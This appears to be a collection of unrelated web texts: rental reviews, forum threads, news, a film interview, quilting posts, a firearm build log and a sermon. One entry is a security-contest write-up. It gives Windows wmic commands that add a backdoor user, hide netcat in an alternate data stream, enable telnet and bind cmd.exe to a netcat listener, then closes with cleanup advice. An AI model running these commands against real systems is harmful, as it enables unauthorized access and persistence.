Ev kurallarıNo smoking.
Guests should not burn incense.
No pets.
Be respectful of the neighbours.
Guests should remove their shoes before entering the apartment if the weather is bad outside.
Guests should not use the bathtub after 8:00 pm.
Children aged up to 3 years of age stay free on a mattress.
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Jane was helpful throughout our stay, she showed us the basic information around once we arrived and gave us a map. Her
place is at a great location which is close to the airport and to the town. The room is clean and tidy! Highly recommend!
A very nice neighborhood to explore the wonderful Copenhagen. A nice and comfortable apartment for two.
A beautiful and cosy apartment, in a walking distance from Copenhaguen city center. Jane is very kind and helpful. We spent a lovely time in Copenhaguen!
Thanks for the hospitality and the tips you gave by the welcome. The studio is great except the shower and bath facilities. If these provisions are made in order we would give it five stars. The communication was good. Thanks Hay and Det
Just as it says, a lovely bright attic studio, very spacious and it seemed to be well equipped although we ate out. Jane is a very friendly and helpful landlady. It's in a pleasant tee lined street , just 8 minutes walk to the S-Bahn and only 2 stops to the main station. We would be very happy to stay there again. L + P
Jane was a lovely host and the apartment was great. The walk into Copenhagen city centre was around 15 mins, past lots of eating places & shops - very enjoyable walk!
Very nice Appartment nearby the busstation, shops and several restaurants. The appartment is clean, cosy and big enough for two persons. Jane is a nice host and she gave us good information. Next time we will visit here again.
Our stay in the room of Jane was really great. She welcomed us friendly by introducing us in her accommodation and showing us on the map the main parts you need to know as a tourist. She was helpful and very friendly! The accommodation is ten minutes by feet from the city centre. It is also possible to take the bus. Copenhagen is an awesome city. Thank you for hosting us =) if we will visit Copenhagen again, we will try to stay there again!
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text: Hello, I'm working on a 1988 Silverado. Here are the symptoms. I have to add anti freeze 2x week. Maybe more in the summer. It smells like antifreeze when the truck is running and water drips from the exhaust pipe, even after the truck has been running for awhile. The heater core is dry and not leaking inside the bottom of the plastic housing. and also you can hear gurgling inside the heater. There are no visible leaks that I can see on the outside the engine or on the pavement. The oil is clean and has no signs that antifreeze has been mixing with it. I'm starting to tear down the engine now. My question is, "Is it a manifold gasket failure, or do I need to go deeper and replace the head gasket?"


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El Paso County man dies from the flu
SECURITY-WIDEFIELD, Colo. - An El Paso County man dies from the flu, and now loved ones are asking themselves how it could happen to someone so young.
Lance Money was in his early 20s, and Saturday his family announced his death via his Facebook page. Friends wrote about their shock and sent condolences to the family. Some friends even wrote about plans they had to meet with Money later this year.
It is unclear if Money suffered from other health problems prior to becoming ill with the flu.
Doctors at Premier Urgent Care said it is rare for healthy young adults to die from the flu, but it is not unheard of.
"Even though this is rare and doesn't happen very often, it does happen where healthy young people can all of a sudden die because of the flu. That is why we get so worried about it," said Doctor John Torres.
Healthcare Professionals also said it is generally pretty obvious when someone might have the flu, and that one should only wait 24 hours to get medical help.
"I tell people all the time, it's like someone took a light switch and turned it on. You go from feeling kind of a little under the weather to all of a sudden, you feel like you got hit by a truck," said Torres.
If symptoms don't get better after 24 hours, it is recommended patients go see a healthcare professional.


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Skillz Dec 07 Winning Entry - Technical
Posted by Don
Melting? Not so fun..
A lesson Frost has learnt well
Secure is cool, yeah!!
Author: icetek ~ circa 2008
# Frostinator's temp check script – great idea, however, I found issues with it at two levels. First, when tested on my XP boxes I received the "Not Supported" response. This was likely due to the hardware I was testing on though. Secondly, and more importantly, for the boxes I did get it to work on the WMI interface will not update the temperature while it was running. The temp will display every 15 seconds, but, never refreshes until the system is rebooted. A utility that uses kernel mode drivers would have helped Frosty to get a constantly refreshing display. I found this out the hard way by testing on one of my systems when the temperature never deviated from 3132 kelvin - even though it was heating up all of the time.
C:\> wmic /namespace:\\root\wmi PATH MSAcpi_ThermalZoneTemperature get CurrentTemperature /every:15
# mr Magician's load check script. This script which is available on the evil magician's XP box is used to read information about the chosen computer (Frosty's). In this case, mr Magician is remotely obtaining the load percentage to find out when Frosty's load starts jumping. This does update properly!
C:\> wmic /node:icebox /user:administrator /password:happybirthday cpu get loadpercentage /every:15
# Now mr Magician is adding his own user "merry" with a password of "christmas" which he will login with later.
C:\> wmic /node:icebox /user:administrator /password:happybirthday process call create "cmd.exe /c net user merry christmas /add"
# mr Magician giving merry privileges on icebox's c$ share
C:\> net use * \\icebox\c$ christmas /u:merry
# Ingeniously we're utilizing Alternate Data Streams (ADS) to hide netcat on the remote system within another file. This will not change the target file size and may or may not alter the file date.
C:\> type c:\nc.exe > z:\windows\system32\wbem\wmic.exe:windows.exe
# Now we enable the telnet server on the remote system and make it start automatically from now on.
C:\> wmic /node:icebox /user:administrator /password:happybirthday service where name="TlntSvr" call changestartmode "automatic"
# Now he starts the telnet service
C:\> wmic /node:icebox /user:administrator /password:happybirthday service where name="TlntSvr" call startservice
# Time to log evil merry in..
C:\> telnet icebox
Login: merry
Password: *********
# Ok, now we've started the hidden netcat binary without dns resolution, using UDP, listening on port 2222 to execute a command prompt on connection.
C:\Documents and Settings\merry> wmic process call create "c:\windows\system32\wbem\wmic:exe:windows.exe -n -u -l -p 2222 -e cmd.exe"
# Enter the melting command in a cryptic manner
C:\> nc -u icebox 2222
<long maniacal screed>
# Since the command interpreter only grabs the first character at the beginning of each line and interprets spaces at the beginning of lines, the command ends up looking something like this:
And Frosty begins his long, hot, painful melt of looping echoes... :-(
As far as getting back down to comfort levels quickly, probably the quickest way to expel mr Magician is to disconnect his system from the internet initially to prevent mr Magician from telnetting back in to do further damage.
Next, Frost needs to quickly kill the shell that is doing the @ECHO command. Rebooting the box or killing the cmd.exe process *if the box is responsive* should work.
On boot-up or after killing cmd.exe he needs to go into the services and disable the telnet server service and set it to not start automatically.
The streamed file can be "unstreamed" by copying it back to *itself* "copy c:\windows\system32\wbem\wmic.exe:windows.exe c:\nc.exe". He might want to remove netcat as well. A good virus scan / root kit remover and firewall would have probably helped in detecting and possibly preventing the streamed file.
Finally, and *MOST* importantly, he needs to remove the "merry" user and update all of his passwords to passphrases with high complexity so that he'll never lose his cool again!
Posted by Don
CISSP, MCSE, CSTA, Security+ SME


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[–]Prof_Frink_PHD 3 points 2 days ago Just pointing out because I'm a stickler for this stuff. Rendering it at 1080p doesn't actually make it HD. You're just stretching it and wasting HDD space and Blurays. This post is moot if it turns out there are HD versions available somewhere, because PC streaming doesn't have HD for the show (which is pretty annoying) permalinkparent
[–]morphinapg[S] 10 points 2 days ago PS3 does stream it at 1080p and these were captured from a PS3. permalinkparent
[–]Prof_Frink_PHD 3 points 2 days ago Did not know that. Awesome! permalinkparent
[–]imperiumrex9 1 point 13 hours ago How do you capture from the PS3? permalinkparent
[–]armoas207 [score hidden] 3 hours ago Showstealer Pro Trial Version permalinkparent
[–]morphinapg[S] 3 points 13 hours ago you have to have an HD capture device. I use the Hauppauge HD PVR permalinkparent
[–]OncomingStorm93 9 points 3 days ago
Amy Pohler breaks up with Will Arnett to date Nick Kroll
ETA did they ever connsumate the relationship?
One of the many pleasures of last night's Mel Brooks AFI tribute was meeting "Arrested Development" creator Mitch Hurwitz. He was sitting at the same table as Netflix chief Ted Sarandos. And the two very creative guys told me that, if they can pull everyone together again, "Arrested Development" will be back on Netflix with more episodes.
Their recent launch of 15 new episodes is a big hit, Sarandos says. Netflix doesn't release figures or ratings, but suffice to say that the two guys are very very happy with the experiment that brought the cult series back.
"And to think the ratings that cancelled it were like 7 million," Hurwitz said of Fox's cancellation of the show a couple of years ago. "Now everyone would kill for that number."
Hurwitz told me that making the new series was a total pleasure. "Jason Bateman only had three weeks for us. He filmed all his scenes at once. And he was great. Michael Cera is a star. Jessica Walter– how funny is she? That she would do the things we ask her–" Hurwitz had praise for the whole cast, believe me.
We talked about binge viewing. Initially fans were skeptical of the first few new episodes. But then watching the whole season to the end was very satisfying. "You saw how the last episodes answered the first ones," Hurwitz said. "We never tried anything like that before. But it worked."
Sarandos is very stoked about "AD," "House of Cards," and the new Netflix series coming imminently– "Orange is the New Black" from "Weeds" creator Jenji Kohan. I am too. I have my Roku box all set and ready to go! Nice guys by the way.
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Tibetan / Vajrayana
Vajrayana Buddhism is most closely associated with Tibet and can be characterized by the figure of the siddha, the master whose spiritual realization is so profound that he or she has power over the phenomenal world, and in whom the profundity and vastness of absolute truth is fully and completely manifested. Many of our most well-known authors come from this tradition of Tibetan Buddhism .
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The Epic of Gesar of Ling
Gesar's Magical Birth, Early Years, and Coronation as KingTibet's great national literary treasure, the epic of Gesar, is the equivalent of the Iliad or the Odyssey in the West. It arose out of a comparable oral tradition, beginning in the eleventh century, and is now considered the longest single work in the world literary canon. King Gesar's exploits are full of magic and high adventure, and are also models of Buddhist teaching: Gesar came to be widely regarded… Read More
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William Shakespeare's Romeo and Juliet is one of literature's greatest love stories. Now, the famous play is getting an animated, big-screen makeover—starring ceramic lawn ornaments! Touchstone Pictures' Gnomeo & Juliet tells the tale of two garden gnomes who accidentally meet and fall in love. The only problem? A feud between their families means they are forbidden to be together. Will this longstanding quarrel tear the star-crossed gnomes apart? Or will love conquer all? The 3-D adventure hits theaters today.
Actor James McAvoy is the voice of Gnomeo, a blue gnome. Find out what he thought of his first voiceover experience and what he'd do to win over Juliet if he were garden gnome.
What did you enjoy most about playing a Romeo-like garden gnome?
It was the first animated thing I've ever done, so it was a whole new way of working for me. I had no idea, for example, that I would never get to work with the other actors in the film. It was a bit of a wake-up call. It took me about a session or two to get my head 'round that. But afterward, I really started to enjoy it. Director Kelly Asbury and the whole team were really good fun. I got to go into the studio and express myself and play around and make up a lot of stuff.
You've played Romeo on the stage before, but how did you get inside the head of Gnomeo?
That's a good question. What's great about Gnomeo is that he [starts off one way] and becomes someone else by the end of the movie. He's a guy who believes that all the red gnomes are jerks! He also believes in himself a lot. He has a rather large ego. Both those things get challenged quite a lot. Also, to play someone who is so open to love as well is quite nice.
Have you ever owned any gnomes yourself?
I haven't, but my grandparents have got quite a few gnomes in their front garden. It's quite nice to imagine them running around wreaking havoc.
What do you imagine gnomes do when humans aren't looking?
Hopefully, they're trying to buy Terraferminators, these gas-guzzling lawn mowers in the movie—as sold by Hulk Hogan! I'm amazed that we got him to do a voice in the film. I had no idea until I saw the movie. I think it was one of the funniest bits. It was brilliant to cast him for that role and such a shame that we never got to work together.
What is it about garden gnomes that make them so humorous? MCAVOY:
I think the fact that it always looks like they're wearing make-up. And they've got really big bums. Those two things together, especially on a male gnome, make them humorous.
Gnomeo has some pretty good pick-up lines in the movie. I especially enjoyed, "Who's your gnomey?"
I was quite proud of that one! [Laughs] Although, whenever Gnomeo says that, he always gets into trouble.
If you were a gnome, what would you do to win a lady gnome's heart?
I'd probably take a good look at myself and spiff myself up a little bit. I'd find a nice spot beside the frog pond or the carp pond, if there happened to be one in the garden. Then I'd tell all the other gnomes to stay clear, because I was going to work my magic on her.
The great Elton John is the executive producer of Gnomeo & Juliet. What was it like having him as your boss?
It was weird knowing that the Elton John was my boss, because I'm a fan of his music. The theme of the entire film is based on his music.
What's your favorite Elton John song?
That would be "Tiny Dancer."
Gnomeo has a nice chat with a statue of Shakespeare. If you could have a conversation with the Bard, what would you talk about?
Probably the same things as Gnomeo . . . something along the lines of, "Why do all the people in your plays need to die all the time?"
Which character was your favorite?
The voice of Hulk Hogan as the Terrafirminator is definitely my favorite. He would tie with Ozzy Osbourne, who plays a deer named Fawn.
I don't think I'll ever be able to think of Ozzy Osbourne, the Prince of Darkness, again without imagining a cute little deer.
He'll be glad to hear that, I think.


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[quote user="Markroman"]The problem with the bailout and this is on Paulson...it was poorly described.
Nobody is really sure where the money will go.
In a free market system, you have to let the market manage itself.
If you borrow $700 billion from treasury...all you are doing is postponing the problem. Eventually, someone is going to come looking for the $700 billion.
The Federal Reserve is not managed by the US govt...but, by banks!
The bluff has been called.
Soooo.... no bailout in your opinion? Banks managing 700 billion now.That's a comforting thought. Why not just give it to "Gordon Gecko". Some way this is going to passand the money is going somewhere...........I hope "they" put the screws to every dollar spent. Time for "some" to own up. Not all of em recieved golden parachutes

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I finished the conversion of the JSE 9mm blow back barrel to DI gas operated. I spent most of the time on it making the adjustable gas block for it. Here it is all set to ship out to it's new owner.
Thanks j427x, The only part that is remotely time consuming is the gas block. Most of the ones I've made weren't adjustable and went together faster. With the contour of the barrel a single piece gas block was out of the question. I'm already gathering parts for a 357max rimless build. Standard bolt, maybe even standard gas system. I'll need to modify the max brass to rimless and get a 358 barrel for the slower twist rate.
I sure do like these things!
J427x, Here is the info on the 357 rimless. AR15BARRELS.COM - 357 Rimless Mag I have made a few straight walled 223 case and the longest useable length I could get was 1.450" and it was a chore to make. That site has ready to load cases for $25/100 which (after make a few) think is a steal. Looks like you'd just need a barrel and a set of dies to use it. I'm down to ordering a barrel for the max build. I'm looking at a .358 barrel with a 1-14" twist for it.
It runs great on Winchester white box, Win ranger HP, Remington UMC yellow, reloads (115fmj 5.2gr Win 231). It did not like CCI Blazer aluminum cased ammo which seemed very under powered. I didn't try opening up the gas adjustment for the blazer either though. The gas block was a two piece design because of the profile of the barrel and ended up being quite blocky. It did suprisingly fit under a car length handguard of mine that doesn't have any heat shields in it. The others I've made had a standard stepped profile of the barrel and a one piece clamp type gas block or a set screw type so they were much easier to finish. The one piece gas blocks are also slimmer, but may not fit under all free float tubes because of the straight gas tube. I think I have a solution to that problem, but I haven't had time to make one yet. Existing 9mm barrels may or may not work depending on length. The one in the pic started off at 16.25" but because of the way barrels are measured by bore length. By the time I got that barrel set up the boltface to muzzle measurement was only slightly over 16.1" although the outside measurement was over 16.25"


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I remember thinking that they seemed like a much bigger band than that space was equipped to host, so I was thrilled when given the opportunity to photograph them on a large outdoor stage last night.
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Upon my arrival at The Old Rock House last night, I knew I was in for quite a night. There was a long line of fans waiting to enter the venue, a giant tour bus parked outside, a tent on the patio to house the monitor soundboard, and more equipment on stage than I've ever [Continue Reading…]


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Welcome to the Quilting Board!
Joe, I don't mind you saving me a few steps. Better you searching than me. I get lost and side-tracked.
Do we know which ones are GOOD machines and which ones aren't? I see old ones all the time, but am afraid to buy.
NEVER let a sewing machine know you are in a hurry.
good mothers let you lick the beaters - great mothers turn it off first
thanks again miriam! my necchi is japanese - 1981- has been absolute treasure. got, literally, thousands of hours on it and i was the only one to ever use it. ) been sewing since childhood on my grmothers singer treadle, one of the beautiful ornate ones w scroll, raised detail wood work. even as a very small child i recognized it's beauty. saw one almost as ornate on cl while looking for older machine to replace the necchi when it started entering the terminal stages of it's long worklife. gramma made all my play clothes on the fw that i now carry around. every once in a while i get on some sort of kick, and look up details, history of my two loves. i started following this forum when i joined the board a few years ago. never posted tho. so i do appreciate your time in responding to my requests. i will post pics and #'s etc on my necchi and fw soon. i will post pic of new love here too. lol...guess i'm easy, fall hard for old sewing machines, but i sure do love my new-to-me janome 1600p too!! it is very sweet! cl for 300$.
the rogue quilter - in from wandering in the sun and snow with camera in hand.
Alrighty, here is my girl. These are taken right after dust removal wipe down. She has been sitting unused in her table for, minimum, the 10 yrs I have had her in my possession and many years prior to that. I have made it my goal to bring her back to life. She is way to gunked up and sticky to sew, but the motor sounds good, nice and quiet. In the process of cleaning her up real good and then oiling the bajeezus outta her. She looks like she is going to be super fun to play with!
Couldn't find much info on her. Anyone have any idea when she was born?
Here's my powder blue Wards Signature, made by Happy. I put this in the other thread but I will show you it again. haha
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Monkey Ward 1890b, or UDT J1980. I had one of these, briefly. It was a thrift store find for $25 but I just didn't like the way I had to fiddle with the tension all the time to make the decorative stitches work right. I donated it to a nursing school so that students could stitch the school patches on their uniforms and/or mend their torn pants, lol.
This is a pic I stole from the Interwebs (ebay U.K.) of the same machine, since I don't have that machine anymore. It was a smallish machine and I was told by VintageSingers people that this model has too many plastic parts that would break and not be worth repairing. But it did a lot of decorative stitches.
Seems like those old Japanese machines came with disk/cams or had a cam stack. Some had plastic cam stacks and some had metal cam stacks. They are fun to play with once they are set free of gummed up oil. The Tri-Flo works wonders on that. When it is gummed up every moving part on the machine is suspect. I think the ones with cams are just a bit easier to set free - they are simpler. I had a MW machine sort of like that one with the stitch selector on the top. I'm thinking it was a lot like Bernina in that area. I don't know if it was a knock off or made by the same company for MW or what. I do know I liked the machine and probably sold it too cheap - I hope the kid that bought it was very happy with it - it was made by Happy I think.
NEVER let a sewing machine know you are in a hurry.
good mothers let you lick the beaters - great mothers turn it off first
I dug around and found a pic of a MW machine I sold - this is a before pic - it cleaned up wonderfully and it sewed wonderfully. I really liked the machine. It has a cam stack on the top like the one above.
NEVER let a sewing machine know you are in a hurry.
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I have my top finished, will try to get a picture posted tomorrow, it is 11pm here and I don't have the energy to work out how to resize the picture to get it to show so that will wait until tomorrow.
I used a 6 pack of fat quarters my sister bought me for Christmas and I just cut two of them twice so I had a run of 8 on each side, I like how it turned out.
Carolyn thanks so much for organising this VQR and for posting such clear instructions, I have been wanting to make a french braid quilt for a while now but felt somewhat daunted by it now I think I can give it a go.
Emma, I am very excited as my daughter is coming round tomorrow for her first ever sewing class. My grandaughter age 8 loves to sew with me and has made several things for her mum. A few weeks ago my daughter said she would like to sew with us and would I teach her. Not sure how far she will get with me as a teacher but I hope she enjoys it and becomes a quilter like her mum.
Am going to pick out a backing tomorrow, already have the binding, don't think I will get it finished because of sewing with daughter and grandaughter but can finish it off on Monday.
There are so many lovely variations of this runner, I am in awe of seasaw2much a reversable runner!!! WOW


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The 2 Layer Standard facemask is the original action sports facemask and the design is patented. Featuring an ergonomic shape, anti-hair pulling velcro and 2 layers of fabric to protect your face, it can handle the harshest conditions. Think of it like your 10k jacket for your face.


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AMA, anti-cardiac muscle antibody
This test measures the level of antimyocardial antibodies (AMAs) in your blood. AMAs are a sign of heart damage, and elevated levels are linked to several forms of heart disease. They can be detected in the blood before any symptoms of heart disease develop.
Some people develop AMAs after heart surgery or a heart attack. The presence of these antibodies can be a sign of pericarditis, or inflammation of the membrane around your heart.
You might also have an AMA test done if your doctor suspects that you have rheumatic heart disease, which can develop as a complication of rheumatic fever.
AMAs have also been found in people with diagnosed heart disease, but it's not known how these antibodies affect the disease's progression.
What other tests might I have along with this test?
No other tests are regularly done with the AMA test. But because AMAs can also be found in people with streptococcal infections, your doctor may also want to do a strep screen, which is done by swabbing your throat.
A result for a lab test may be affected by many things, including the method the laboratory uses to do the test. Even if your test results are different from the normal value, you may not have a problem. To learn what the results mean for you, talk with your health care provider.
A normal test will be negative, meaning you have no or low levels of AMAs.
If your test shows elevated AMA levels, you likely have heart disease or heart damage and more testing is needed.
The test requires a blood sample, which is drawn through a needle from a vein in your arm.
Taking a blood sample with a needle carries risks that include bleeding, infection, bruising, or feeling dizzy. When the needle pricks your arm, you may feel a slight stinging sensation or pain. Afterward, the site may be slightly sore.
No outside factors are known to affect the results of this test.
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I am wondering whether or not people do anything specific to minimize the genetic input of mediocre stock in their breeding program.
You breed from the best stock; grafting and creating drone colonies, but don't the middle-of-the-road colonies contribute to the pool through drone production?
Do you maintain breeding yards that only have the finest stock, and isolate them? What if you can't isolate? Would you then make an effort to minimize drone production in hives that you weren't really excited about? Or are the focused efforts of "breeding from the best" enough to simply outweigh the contributions of the lesser stock?


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The Bob Turley thread, in which a poster noted that the Orioles may have had recourse to using hype to attract fans in their first season, had me looking at what moves they made during the off-season.
You would think that in inheriting the Browns, an owner would be tempted to "blow it all up and start over with a youth movement." But an analysis of their transactions shows that despite whatever reasons they may have had to acquire a player, in almost every case the transaction yielded an older, albeit more famous and gate-worthy, roster.
February 5, 1954
Traded Johnny Groth and Johnny Lipon to the Chicago White Sox. Received Neil Berry and Sam Mele.
December 17, 1953
Traded Bob Cain to the Philadelphia Athletics. Received Joe Coleman and Frank Fanovich.
February 18, 1954
Traded Roy Sievers to the Washington Senators. Received Gil Coan.
March 28, 1954
Purchased Ray Murray from the Philadelphia Athletics for $25,000.
April 8, 1954
Purchased Dave Koslo from the New York Giants.
And the ultimate in my book: Sending down Eddie Mickelson and acquiring Eddie Waitkus. Waitkus was 34 y.o., would only hit 2 HR and drive in 33 runs for the O's. Not good production from a power position of 1B. 1954 would be his penultimate year. Not saying it was his fault for getting shot (it sure wasn't!) but you have to factor that in to at least make him an "old 34". Meanwhile Mickelson was 26, in his prime, had just finished an 80-game stint with the Little World Series-winning IL-AAA Rochester Red Wings and was in the midst of becoming "one of the premier minor league players of his era"* with a lifetime BA of .316 and slugging percentage of .475. Sorry for Mickelson that he didn't get that opportunity in 1954 because he was never able to get back in the big leagues again until it was too late.
On the flip side, it must have been a remarkable gate draw to have the famous** and good-looking Waitkus at 1B, plus the draw from curious nearby Philly fans.
Other than off-loading the St. Louis gate draw of Harry Brecheen, most of the O's moves appear to be for gate and not to rebuild. I'm not saying that there is anything wrong in hiring some or all of your players for their marquee value. That's within the realm of legitimate business decision. However, I am just surprised that the Orioles were so nervous about gate and you didn't see a full-throttle youth movement, and instead a little of the opposite. That would have been a golden time to do it.
*Tom Kayser, Texas League President
** He saw some of the bloodiest fighting of World War II with the U.S. Army in the Philippines, earning four Bronze Stars. Upon his return to baseball he quickly became a star for the Chicago Cubs. He also became a popular media figure, as he was well-educated and could speak several languages. The best-selling Bernard Malamud book The Natural (released in August 1952) was somewhat based on Waitkus. (Wikipedia)


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Discussion in 'Off-topic Zone' started by Sam I Am, Oct 19, 2011.
Trick doing his morning workout.
How did she not break an ankle?
They only weigh 50 lbs, how much damage could they do?
I'm dying from the runway model fails. :laugh2: :laugh2:
That is pretty wild.
Which is why Anaheim Angels is so much better.
Exactly, as was the California Angels. Both names are ones they held.
I have no idea where and why "The Los Angeles Angels of Anaheim" came about. Way too long and dumb.
Leave it to Californians :
I give great thanks for those posting all the wonderful things in this thread. I catch up and end up with tears of laughter just about every time
Not so much wacky, but pictures like this always make me go 'WTH?'
LOL wow
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Stop by the Campus Center foyer this afternoon to meet the members of Class III of Leadership Pulaski Tech.
A reception in their honor will be held 4:30-6 p.m. today.
Leadership Pulaski Tech is a campus initiative that trains and develops college and community leaders from within its ranks.
The group will meet monthly for intensive workshops on topics such as higher education issues and trends, community and economic development, government and politics, the arts and college issues. The program ends in May with a graduation ceremony.
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There is an appointment
Zephaniah, the prophet of God to Israel of old, had a message for that nation, a nation that had chosen to go astray from their God and choose other gods.
"Gather together, gather together, O shameful nation, before the appointed time arrives and that day sweeps on like chaff, before the fierce anger of the LORD comes upon you, before the day of the LORD's wrath comes upon you. Seek the LORD, all you humble of the land, you who do what he commands. Seek righteousness, seek humility; perhaps you will be sheltered on the day of the Lord's anger."
This is a warning from God. If there are those in the land who will seek the Lord, humble themselves (repent), seek His righteousness that He alone provides, then perhaps they may be sheltered in the day of judgment.
There is another day of appointment that is found in the Gospel of Matthew 26: "Go into the city to a certain man and tell him, 'The Teacher (Lord Jesus) says: My appointed time is near. I am going to celebrate the Passover with my disciples at your house.'"
The Passover would be Jesus' last on earth with His disciples, for He Himself would be the Passover Lamb, sacrificed for us, His blood spilled for our sins on Calvary's cross.
Each and every one of us will have one of two appointments with the Lord. You may have an appointment with the Lord as your Judge, or you may have an appointment with Him as your Savior who is full of mercy. Each of us must choose which it will be.
Jeremiah 8:20 says, "The harvest is past, the summer has ended, and we are not saved."
The year 2012 is past and ended, and are you still not saved?
Jeremiah 8:22, "Is there no balm in Gilead? Is there no physician there? Why then is there no healing for the wound of my people?"
The Lord Jesus is the balm, the ointment you need. He is the Great Physician. He can heal your sin wounds. Call to Jesus and He will make an appointment just for you, for your healing.
Acts 17:31, "For He has set a day when He will judge the world with justice by the man (Jesus) He has appointed."
Your day of appointment may be quickly approaching. So which day of appointment will be yours? Will He be your Judge or your merciful Savior?
The decision is yours alone. Zephaniah and Matthew both wrote that you might choose Jesus and find life.
(Dennis Gellerman is pastor at Mildred Bible Chapel)